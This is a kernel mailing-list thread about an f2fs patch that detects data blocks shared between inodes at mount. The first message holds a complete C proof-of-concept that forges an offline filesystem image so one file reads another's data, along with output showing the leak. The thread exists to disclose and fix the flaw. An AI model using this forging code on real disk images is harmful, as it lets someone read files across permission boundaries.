* [PATCH] f2fs: verify inode data-block ownership at mount
@ 2026-10-16 14:32 Haoran Wang
2026-10-27 2:14 ` kernel test robot
2026-11-09 9:16 ` [PATCH v2] " Haoran Wang
0 siblings, 2 replies; 4+ messages in thread
From: Haoran Wang @ 2026-10-16 14:32 UTC (permalink / raw)
To: jaegeuk, chao; +Cc: linux-f2fs-devel, linux-kernel, haoranwangsec
From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Subject: [PATCH] f2fs: verify inode data-block ownership at mount
\
f2fs resolves a file's logical offsets to data blocks through on-disk
inode metadata but never checks that a data block claimed by one inode is
not also claimed by another. With offline write access to the block
device an attacker can forge a regular inode's i_addr so that a
world-readable file reads back a different file's data blocks, leaking
its contents across the permission boundary once the image is mounted.
PoC (forge.c, pre-patch; default mkfs.f2fs image, feature 0x00000000,
inode_checksum off):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#define BLK 4096
#define FO (BLK - 24) /* 4072: node footer offset within block */
#define SB 1024 /* superblock offset in the image */
static uint8_t *data;
static off_t len;
static uint16_t rd16(off_t o) { return data[o] | (data[o + 1] << 8); }
static uint32_t rd32(off_t o) {
return data[o] | (data[o + 1] << 8) | (data[o + 2] << 16) | (data[o + 3] << 24);
}
static uint64_t rd64(off_t o) {
uint64_t v = 0;
for (int i = 0; i < 8; i++) v |= (uint64_t)data[o + i] << (8 * i);
return v;
}
static void wr32(off_t o, uint32_t v) {
data[o] = v; data[o + 1] = v >> 8; data[o + 2] = v >> 16; data[o + 3] = v >> 24;
}
static void wr64(off_t o, uint64_t v) {
for (int i = 0; i < 8; i++) data[o + i] = v >> (8 * i);
}
struct finfo {
off_t off;
uint64_t size;
int inl;
uint32_t ext_blk, ext_len, addrs[16];
uint8_t i_inline;
};
static int find(const char *name, struct finfo *f)
{
uint32_t main = rd32(SB + 96);
uint32_t end = main + 16384;
if ((off_t)end > len / BLK)
end = len / BLK;
for (uint32_t blk = main; blk < end; blk++) {
off_t off = (off_t)blk * BLK;
if (off + BLK > len)
break;
uint32_t nid = rd32(off + FO);
uint32_t ino = rd32(off + FO + 4);
if (nid != ino || nid < 1)
continue;
uint16_t mode = rd16(off);
if ((mode & 0xF000) == 0x4000) /* directory */
continue;
char nm[256];
memcpy(nm, data + off + 92, 255);
nm[255] = 0;
if (strcmp(nm, name) != 0)
continue;
f->off = off;
f->i_inline = data[off + 3];
f->size = rd64(off + 16);
f->ext_blk = rd32(off + 352);
f->ext_len = rd32(off + 356);
for (int j = 0; j < 16; j++)
f->addrs[j] = rd32(off + 360 + j * 4);
f->inl = f->i_inline & 0x02;
return 0;
}
return -1;
}
static void do_forge(struct finfo *s, struct finfo *t)
{
if (s->inl) {
memcpy(data + t->off + 360, data + s->off + 360, 3688);
data[t->off + 3] |= 0x02 | 0x08;
wr64(t->off + 16, s->size);
} else {
wr32(t->off + 352, s->ext_blk);
wr32(t->off + 356, s->ext_len);
for (int j = 0; j < 16; j++)
if (s->addrs[j])
wr32(t->off + 360 + j * 4, s->addrs[j]);
wr64(t->off + 16, s->size);
data[t->off + 3] &= ~0x02;
}
}
static ssize_t read_all(int fd, uint8_t *buf, off_t n)
{
off_t got = 0;
while (got < n) {
ssize_t r = read(fd, buf + got, n - got);
if (r < 0) return -1;
if (r == 0) break;
got += r;
}
return got;
}
static ssize_t write_all(int fd, const uint8_t *buf, off_t n)
{
off_t put = 0;
while (put < n) {
ssize_t r = write(fd, buf + put, n - put);
if (r < 0) return -1;
put += r;
}
return put;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <image>\n", argv[0]);
return 2;
}
int fd = open(argv[1], O_RDWR);
if (fd < 0) { perror("open"); return 2; }
struct stat st;
if (fstat(fd, &st)) { perror("fstat"); return 2; }
len = st.st_size;
data = malloc(len);
if (!data) { perror("malloc"); return 2; }
if (read_all(fd, data, len) != len) { perror("read"); return 2; }
struct finfo s, t;
if (find("secret", &s)) { printf("forge: secret not found\n"); return 1; }
if (find("public", &t)) { printf("forge: public not found\n"); return 1; }
printf("secret: off=%lld inline=%d size=%llu ext_blk=%u ext_len=%u\n",
(long long)s.off, s.inl, (unsigned long long)s.size,
s.ext_blk, s.ext_len);
printf("public: off=%lld inline=%d size=%llu\n",
(long long)t.off, t.inl, (unsigned long long)t.size);
do_forge(&s, &t);
if (lseek(fd, 0, SEEK_SET) < 0) { perror("lseek"); return 2; }
if (write_all(fd, data, len) != len) { perror("write"); return 2; }
printf("forge: public -> secret (%s) done\n", s.inl ? "inline" : "extent");
free(data);
close(fd);
return 0;
}
Pre-patch result:
forge: public -> secret (extent) done
$ cat /mnt/public
SECRET_EXT_99999
RESULT: LEAK -- SECRET_EXT readable via public (vuln present)
Add a mount-time scan that, for every regular, non-inline-data,
non-inline-dentry, non-compressed inode in the main area, records each
direct data address in i_addr[base..end) into a per-block bitmap --
skipping the extra-attr region (base) and the inline-xattr tail (end)
where present. f2fs never intentionally shares data blocks between
inodes, so an address already claimed by another inode is unambiguous
corruption: the mount fails with -EFSCORRUPTED instead of exposing the
stale data. The check runs after f2fs_build_gc_manager() and unwinds
through the existing free_nm path on failure.
Inline-data files carry no separate data block and so are outside the
scope of this ownership check.
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
fs/f2fs/f2fs.h | 1 +
fs/f2fs/node.c | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
fs/f2fs/super.c | 6 ++++++
3 files changed, 86 insertions(+)
diff --git a/fs/f2fs/f2fs.h b/fs/f2fs/f2fs.h
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -3978,6 +3978,7 @@
bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
struct node_info *ni, bool checkpoint_context);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
int f2fs_get_dnode_of_data(struct dnode_of_data *dn, pgoff_t index, int mode);
int f2fs_truncate_inode_blocks(struct inode *inode, pgoff_t from);
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -6,6 +6,7 @@
* http://www.samsung.com/
*/
#include <linux/fs.h>
+#include <linux/buffer_head.h>
#include <linux/f2fs_fs.h>
#include <linux/mpage.h>
#include <linux/sched/mm.h>
diff --git a/fs/f2fs/node.c b/fs/f2fs/node.c
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3445,6 +3446,84 @@
return 0;
}
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+ block_t total, block_t blkaddr)
+{
+ if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+ return 0;
+ if (blkaddr < main_b || blkaddr >= total)
+ return 0;
+ if (test_and_set_bit(blkaddr, claimed))
+ return -EFSCORRUPTED;
+ return 0;
+}
+
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+ struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+ block_t main_b = le32_to_cpu(raw->main_blkaddr);
+ block_t total = le64_to_cpu(raw->block_count);
+ unsigned long *claimed;
+ struct buffer_head *bh = NULL;
+ block_t blk;
+ int err = 0;
+
+ claimed = kvzalloc_objs(unsigned long, BITS_TO_LONGS(total));
+ if (!claimed)
+ return -ENOMEM;
+
+ for (blk = main_b; blk < total; blk++) {
+ struct f2fs_node *fn;
+ struct f2fs_inode *ri;
+ nid_t nid, ino;
+ int base, end, i;
+
+ bh = sb_bread(sbi->sb, blk);
+ if (!bh) {
+ err = -EIO;
+ break;
+ }
+ fn = (struct f2fs_node *)bh->b_data;
+ nid = le32_to_cpu(fn->footer.nid);
+ ino = le32_to_cpu(fn->footer.ino);
+ if (nid != ino || !nid)
+ goto next;
+ ri = &fn->i;
+ if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+ goto next;
+ if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+ goto next;
+ if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+ goto next;
+ base = (ri->i_inline & F2FS_EXTRA_ATTR)
+ ? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+ end = DEF_ADDRS_PER_INODE;
+ if (ri->i_inline & F2FS_INLINE_XATTR) {
+ if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+ (ri->i_inline & F2FS_EXTRA_ATTR))
+ end -= le16_to_cpu(ri->i_inline_xattr_size);
+ else
+ end -= DEFAULT_INLINE_XATTR_ADDRS;
+ }
+ if (base > end || end > DEF_ADDRS_PER_INODE)
+ goto next;
+ for (i = base; i < end; i++) {
+ err = f2fs_claim_data_addr(claimed, main_b, total,
+ le32_to_cpu(ri->i_addr[i]));
+ if (err)
+ goto out;
+ }
+next:
+ brelse(bh);
+ bh = NULL;
+ }
+out:
+ if (bh)
+ brelse(bh);
+ kvfree(claimed);
+ return err;
+}
+
int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
{
int err;
diff --git a/fs/f2fs/super.c b/fs/f2fs/super.c
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5261,6 +5261,12 @@
f2fs_build_gc_manager(sbi);
+ err = f2fs_verify_inode_data_ownership(sbi);
+ if (err) {
+ f2fs_err(sbi, "data block referenced by multiple inodes");
+ goto free_nm;
+ }
+
err = f2fs_build_stats(sbi);
if (err)
goto free_nm;
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH] f2fs: verify inode data-block ownership at mount
2026-10-16 14:32 [PATCH] f2fs: verify inode data-block ownership at mount Haoran Wang
@ 2026-10-27 2:14 ` kernel test robot
2026-11-09 9:16 ` [PATCH v2] " Haoran Wang
1 sibling, 0 replies; 4+ messages in thread
From: kernel test robot @ 2026-10-27 2:14 UTC (permalink / raw)
To: Haoran Wang
Cc: oe-lkp, lkp, linux-f2fs-devel, ltp, jaegeuk, chao, linux-kernel,
haoranwangsec, yi1.lai
Hello,
kernel test robot noticed "last_state.incomplete/bootup failure" on:
commit: 612a9db3132785844663564c15691d5feac8a259 ("[PATCH] f2fs: verify inode data-block ownership at mount")
url: https://github.com/intel-lab-lkp/linux/commits/Haoran-Wang/f2fs-verify-inode-data-block-ownership-at-mount/20261016-223258
base: v7.3-rc7
patch link: https://lore.kernel.org/all/6ad2359d.0083e9c2.97e0f.79de@mx.google.com/
patch subject: [PATCH] f2fs: verify inode data-block ownership at mount
in testcase: ltp
version: ltp-x86_64-af1ad307f-1_20261024 with following parameters:
disk: 1HDD
fs: f2fs
test: ltp-aiodio.part2-02
config: x86_64-rhel-9.4-ltp
compiler: gcc-14
test machine: 4 threads 1 sockets Intel(R) Core(TM) i3-3220 CPU @ 3.30GHz (Ivy Bridge) with 8G memory
(please refer to attached dmesg/kmsg for entire log/backtrace)
[ +3.766884] [ T594] mount: /fs/sda1: fsconfig() failed: Structure needs cleaning.
If you fix the issue in a separate patch/commit (i.e. not just a new version of the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <yi1.lai@intel.com>
| Closes: https://lore.kernel.org/oe-lkp/202610262143.a92547a9-lkp@intel.com
The kernel config and materials to reproduce are available at:
https://download.01.org/0day-ci/archive/20261026/202610262143.a92547a9-lkp@intel.com
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply [flat|nested] 4+ messages in thread* [PATCH v2] f2fs: verify inode data-block ownership at mount
2026-10-16 14:32 [PATCH] f2fs: verify inode data-block ownership at mount Haoran Wang
2026-10-27 2:14 ` kernel test robot
@ 2026-11-09 9:16 ` Haoran Wang
2026-11-11 7:14 ` Chao Yu
1 sibling, 1 reply; 4+ messages in thread
From: Haoran Wang @ 2026-11-09 9:16 UTC (permalink / raw)
To: jaegeuk, chao; +Cc: linux-f2fs-devel, linux-kernel, yi1.lai, haoranwangsec
At mount time, walk the NAT to enumerate live inode blocks and claim the
direct data blocks referenced by each regular inode's i_addr region in a
bitmap. If two inodes claim the same data block, fail the mount with
-EFSCORRUPTED, since at least one of them is forged or corrupted.
The check is NAT-driven, so blocks unreachable from the NAT - such as
stale images left by earlier mkfs runs on untrimmed disks - are ignored
and cannot trigger false positives.
Reported-by: kernel test robot <yi1.lai@intel.com>
Closes: https://lore.kernel.org/oe-lkp/202610262143.a92547a9-lkp@intel.com
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
Changes since v1: fix the false positive reported by the kernel test
robot: v1 scanned the whole main area with sb_bread and trusted stale
inode blocks left on disk by earlier mkfs runs, failing the mount.
Rework the scan to walk the NAT so only NAT-reachable inodes are checked.
fs/f2fs/f2fs.h | 1 +
fs/f2fs/node.c | 98 +++++++++++++++++++++++++++++++++++++++++++++++
fs/f2fs/super.c | 5 ++
3 files changed, 104 insertions(+)
--- a/fs/f2fs/f2fs.h
+++ b/fs/f2fs/f2fs.h
@@ -4000,6 +4000,7 @@
bool f2fs_need_dentry_mark(struct f2fs_sb_info *sbi, nid_t nid);
bool f2fs_is_checkpointed_node(struct f2fs_sb_info *sbi, nid_t nid);
bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
struct node_info *ni, bool checkpoint_context);
pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
--- a/fs/f2fs/node.c
+++ b/fs/f2fs/node.c
@@ -3455,6 +3455,111 @@
return 0;
}
+
+static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
+ block_t total, block_t blkaddr)
+{
+ if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
+ return 0;
+ if (blkaddr < main_b || blkaddr >= total)
+ return 0;
+ if (test_and_set_bit(blkaddr - main_b, claimed))
+ return -EFSCORRUPTED;
+ return 0;
+}
+
+/*
+ * Verify that no data block in the main area is claimed by more than one
+ * regular inode. Walk the NAT (the authoritative index of live node
+ * blocks) instead of scanning the raw main area, so stale node blocks
+ * left on disk by previous filesystem generations are ignored. Only
+ * inodes reachable from the NAT are checked; inline-data files carry no
+ * separate data block and are out of scope.
+ */
+int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
+{
+ struct f2fs_nm_info *nm_i = NM_I(sbi);
+ struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
+ block_t main_b = le32_to_cpu(raw->main_blkaddr);
+ block_t total = le64_to_cpu(raw->block_count);
+ unsigned long *claimed;
+ struct f2fs_node *fn;
+ struct f2fs_inode *ri;
+ struct folio *folio;
+ unsigned long *bitmap_bits;
+ nid_t nid;
+ int err = 0;
+
+ bitmap_bits = kvzalloc_objs(*bitmap_bits,
+ BITS_TO_LONGS(total - main_b),
+ GFP_KERNEL);
+ if (!bitmap_bits)
+ return -ENOMEM;
+ claimed = bitmap_bits;
+
+ /* skip the f2fs-internal metadata inodes (NODE_INO, META_INO):
+ * their NAT entries are not user data and trip
+ * "inconsistent nat entry" on every lookup.
+ */
+ for (nid = F2FS_ROOT_INO(sbi); nid < nm_i->max_nid; nid++) {
+ struct node_info ni;
+ int base, end, i;
+
+ /* only live inode blocks: NAT entry valid and nid == ino */
+ if (f2fs_get_node_info(sbi, nid, &ni, false))
+ continue;
+ if (ni.blk_addr == NULL_ADDR || ni.blk_addr == NEW_ADDR)
+ continue;
+ if (ni.ino != nid)
+ continue;
+
+ folio = f2fs_get_node_folio(sbi, nid, NODE_TYPE_INODE);
+ if (IS_ERR(folio)) {
+ err = PTR_ERR(folio);
+ if (err == -ENOENT)
+ err = 0; /* node gone, skip */
+ else
+ break;
+ continue;
+ }
+ fn = F2FS_NODE(folio);
+ ri = &fn->i;
+ if (!S_ISREG(le16_to_cpu(ri->i_mode)))
+ goto next;
+ if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
+ goto next;
+ if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
+ goto next;
+ base = (ri->i_inline & F2FS_EXTRA_ATTR)
+ ? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
+ end = DEF_ADDRS_PER_INODE;
+ if (ri->i_inline & F2FS_INLINE_XATTR) {
+ if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
+ (ri->i_inline & F2FS_EXTRA_ATTR))
+ end -= le16_to_cpu(ri->i_inline_xattr_size);
+ else
+ end -= DEFAULT_INLINE_XATTR_ADDRS;
+ }
+ if (base > end || end > DEF_ADDRS_PER_INODE)
+ goto next;
+ for (i = base; i < end; i++) {
+ err = f2fs_claim_data_addr(claimed, main_b, total,
+ le32_to_cpu(ri->i_addr[i]));
+ if (err) {
+ f2fs_err(sbi, "inode %u claims data block %u already owned by another inode",
+ nid, le32_to_cpu(ri->i_addr[i]));
+ f2fs_folio_put(folio, true);
+ goto out;
+ }
+ }
+next:
+ f2fs_folio_put(folio, true);
+ }
+out:
+ kvfree(claimed);
+ return err;
+}
+
int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
{
int err;
--- a/fs/f2fs/super.c
+++ b/fs/f2fs/super.c
@@ -5372,6 +5372,12 @@
if (err)
goto free_root_inode;
+ err = f2fs_verify_inode_data_ownership(sbi);
+ if (err) {
+ f2fs_err(sbi, "data block referenced by multiple inodes");
+ goto free_root_inode;
+ }
+
err = f2fs_register_sysfs(sbi);
if (err)
goto free_compress_inode;
^ permalink raw reply [flat|nested] 4+ messages in thread* Re: [PATCH v2] f2fs: verify inode data-block ownership at mount
2026-11-09 9:16 ` [PATCH v2] " Haoran Wang
@ 2026-11-11 7:14 ` Chao Yu
0 siblings, 0 replies; 4+ messages in thread
From: Chao Yu @ 2026-11-11 7:14 UTC (permalink / raw)
To: Haoran Wang, jaegeuk; +Cc: chao, linux-f2fs-devel, linux-kernel, yi1.lai
Hi Haoran,
Thanks for the contribution.
On 11/9/26 17:16, Haoran Wang wrote:
> At mount time, walk the NAT to enumerate live inode blocks and claim the
> direct data blocks referenced by each regular inode's i_addr region in a
> bitmap. If two inodes claim the same data block, fail the mount with
> -EFSCORRUPTED, since at least one of them is forged or corrupted.
It seems quite heavy to load all valid nodes for verification whenever mount(),
it may slow down bootup time of filesystem significantly.
If storage device in special environment is not reliable, what do you think of
running fsck.f2fs to do a full check before mount()?
Thanks,
>
> The check is NAT-driven, so blocks unreachable from the NAT - such as
> stale images left by earlier mkfs runs on untrimmed disks - are ignored
> and cannot trigger false positives.
>
> Reported-by: kernel test robot <yi1.lai@intel.com>
> Closes: https://lore.kernel.org/oe-lkp/202610262143.a92547a9-lkp@intel.com
> Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
>
> ---
> Changes since v1: fix the false positive reported by the kernel test
> robot: v1 scanned the whole main area with sb_bread and trusted stale
> inode blocks left on disk by earlier mkfs runs, failing the mount.
> Rework the scan to walk the NAT so only NAT-reachable inodes are checked.
>
> fs/f2fs/f2fs.h | 1 +
> fs/f2fs/node.c | 98 +++++++++++++++++++++++++++++++++++++++++++++++
> fs/f2fs/super.c | 5 ++
> 3 files changed, 104 insertions(+)
>
> --- a/fs/f2fs/f2fs.h
> +++ b/fs/f2fs/f2fs.h
> @@ -4000,6 +4000,7 @@
> bool f2fs_need_dentry_mark(struct f2fs_sb_info *sbi, nid_t nid);
> bool f2fs_is_checkpointed_node(struct f2fs_sb_info *sbi, nid_t nid);
> bool f2fs_need_inode_block_update(struct f2fs_sb_info *sbi, nid_t ino);
> +int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi);
> int f2fs_get_node_info(struct f2fs_sb_info *sbi, nid_t nid,
> struct node_info *ni, bool checkpoint_context);
> pgoff_t f2fs_get_next_page_offset(struct dnode_of_data *dn, pgoff_t pgofs);
> --- a/fs/f2fs/node.c
> +++ b/fs/f2fs/node.c
> @@ -3455,6 +3455,111 @@
> return 0;
> }
>
> +
> +static int f2fs_claim_data_addr(unsigned long *claimed, block_t main_b,
> + block_t total, block_t blkaddr)
> +{
> + if (blkaddr == NULL_ADDR || blkaddr == NEW_ADDR)
> + return 0;
> + if (blkaddr < main_b || blkaddr >= total)
> + return 0;
> + if (test_and_set_bit(blkaddr - main_b, claimed))
> + return -EFSCORRUPTED;
> + return 0;
> +}
> +
> +/*
> + * Verify that no data block in the main area is claimed by more than one
> + * regular inode. Walk the NAT (the authoritative index of live node
> + * blocks) instead of scanning the raw main area, so stale node blocks
> + * left on disk by previous filesystem generations are ignored. Only
> + * inodes reachable from the NAT are checked; inline-data files carry no
> + * separate data block and are out of scope.
> + */
> +int f2fs_verify_inode_data_ownership(struct f2fs_sb_info *sbi)
> +{
> + struct f2fs_nm_info *nm_i = NM_I(sbi);
> + struct f2fs_super_block *raw = F2FS_RAW_SUPER(sbi);
> + block_t main_b = le32_to_cpu(raw->main_blkaddr);
> + block_t total = le64_to_cpu(raw->block_count);
> + unsigned long *claimed;
> + struct f2fs_node *fn;
> + struct f2fs_inode *ri;
> + struct folio *folio;
> + unsigned long *bitmap_bits;
> + nid_t nid;
> + int err = 0;
> +
> + bitmap_bits = kvzalloc_objs(*bitmap_bits,
> + BITS_TO_LONGS(total - main_b),
> + GFP_KERNEL);
> + if (!bitmap_bits)
> + return -ENOMEM;
> + claimed = bitmap_bits;
> +
> + /* skip the f2fs-internal metadata inodes (NODE_INO, META_INO):
> + * their NAT entries are not user data and trip
> + * "inconsistent nat entry" on every lookup.
> + */
> + for (nid = F2FS_ROOT_INO(sbi); nid < nm_i->max_nid; nid++) {
> + struct node_info ni;
> + int base, end, i;
> +
> + /* only live inode blocks: NAT entry valid and nid == ino */
> + if (f2fs_get_node_info(sbi, nid, &ni, false))
> + continue;
> + if (ni.blk_addr == NULL_ADDR || ni.blk_addr == NEW_ADDR)
> + continue;
> + if (ni.ino != nid)
> + continue;
> +
> + folio = f2fs_get_node_folio(sbi, nid, NODE_TYPE_INODE);
> + if (IS_ERR(folio)) {
> + err = PTR_ERR(folio);
> + if (err == -ENOENT)
> + err = 0; /* node gone, skip */
> + else
> + break;
> + continue;
> + }
> + fn = F2FS_NODE(folio);
> + ri = &fn->i;
> + if (!S_ISREG(le16_to_cpu(ri->i_mode)))
> + goto next;
> + if (ri->i_inline & (F2FS_INLINE_DATA | F2FS_INLINE_DENTRY))
> + goto next;
> + if (le32_to_cpu(ri->i_flags) & F2FS_COMPR_FL)
> + goto next;
> + base = (ri->i_inline & F2FS_EXTRA_ATTR)
> + ? le16_to_cpu(ri->i_extra_isize) / 4 : 0;
> + end = DEF_ADDRS_PER_INODE;
> + if (ri->i_inline & F2FS_INLINE_XATTR) {
> + if (f2fs_sb_has_flexible_inline_xattr(sbi) &&
> + (ri->i_inline & F2FS_EXTRA_ATTR))
> + end -= le16_to_cpu(ri->i_inline_xattr_size);
> + else
> + end -= DEFAULT_INLINE_XATTR_ADDRS;
> + }
> + if (base > end || end > DEF_ADDRS_PER_INODE)
> + goto next;
> + for (i = base; i < end; i++) {
> + err = f2fs_claim_data_addr(claimed, main_b, total,
> + le32_to_cpu(ri->i_addr[i]));
> + if (err) {
> + f2fs_err(sbi, "inode %u claims data block %u already owned by another inode",
> + nid, le32_to_cpu(ri->i_addr[i]));
> + f2fs_folio_put(folio, true);
> + goto out;
> + }
> + }
> +next:
> + f2fs_folio_put(folio, true);
> + }
> +out:
> + kvfree(claimed);
> + return err;
> +}
> +
> int f2fs_build_node_manager(struct f2fs_sb_info *sbi)
> {
> int err;
> --- a/fs/f2fs/super.c
> +++ b/fs/f2fs/super.c
> @@ -5372,6 +5372,12 @@
> if (err)
> goto free_root_inode;
>
> + err = f2fs_verify_inode_data_ownership(sbi);
> + if (err) {
> + f2fs_err(sbi, "data block referenced by multiple inodes");
> + goto free_root_inode;
> + }
> +
> err = f2fs_register_sysfs(sbi);
> if (err)
> goto free_compress_inode;
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-11-11 7:14 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-10-16 14:32 [PATCH] f2fs: verify inode data-block ownership at mount Haoran Wang
2026-10-27 2:14 ` kernel test robot
2026-11-09 9:16 ` [PATCH v2] " Haoran Wang
2026-11-11 7:14 ` Chao Yu
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®